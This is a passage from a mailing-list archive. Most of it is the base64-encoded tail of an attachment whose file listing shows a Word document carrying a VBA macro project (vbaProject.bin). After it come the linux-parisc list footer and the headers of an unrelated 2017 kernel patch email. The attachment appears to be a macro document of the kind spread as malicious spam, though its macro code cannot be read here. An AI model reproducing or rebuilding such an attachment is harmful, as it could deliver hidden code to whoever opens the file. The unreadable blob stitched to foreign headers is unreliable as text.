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
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch 03/29] lockup_detector: Provide interface to stop from
 poweroff()
Date: Thu, 31 Aug 2017 09:16:01 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20170831073053.202164272@linutronix.de>
